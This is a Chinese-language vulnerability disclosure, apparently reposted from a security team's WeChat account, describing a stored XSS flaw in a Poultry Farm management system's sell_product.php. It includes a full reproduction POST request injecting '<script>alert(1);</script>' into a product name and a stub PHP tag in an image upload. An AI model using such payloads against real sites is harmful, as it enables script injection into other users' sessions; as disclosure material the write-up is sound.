1. 源码分析
/farm/sell_product.php
通过源码可以观察到,在展示所有产品时,并未对从数据库获取的数据继续过滤,只需要在创建产品的过程中插入对应的js代码,就能够给成功触发XSS漏洞。
2. 漏洞复现
此处漏洞可以通过在product.php中创建新的产品或者修改产品信息中触发,
POST /RedcockFarm/farm/product.php HTTP/1.1
Host: 192.168.70.139
Content-Length: 612
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.70.139
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFHHgBetw7Aae2a5C
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.70.139/RedcockFarm/farm/product.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rildqe2t5ucppf7n89d78aei62
Connection: close
------WebKitFormBoundaryFHHgBetw7Aae2a5C
Content-Disposition: form-data; name="category"
EGGS
------WebKitFormBoundaryFHHgBetw7Aae2a5C
Content-Disposition: form-data; name="product"
Cat Button<script>alert(1);</script>
------WebKitFormBoundaryFHHgBetw7Aae2a5C
Content-Disposition: form-data; name="price"
199
------WebKitFormBoundaryFHHgBetw7Aae2a5C
Content-Disposition: form-data; name="productimage"; filename="index.jpg"
Content-Type: image/jpeg
<?php ;?>
------WebKitFormBoundaryFHHgBetw7Aae2a5C
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryFHHgBetw7Aae2a5C--
这里我选择新建一个新的产品,然后直接访问/RedcockFarm/farm/sell_prodect.php,成功触发弹窗
原文始发于微信公众号(蟹堡安全团队):Poultry Farm管理系统sell_product.php 处存在存储型XSS
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论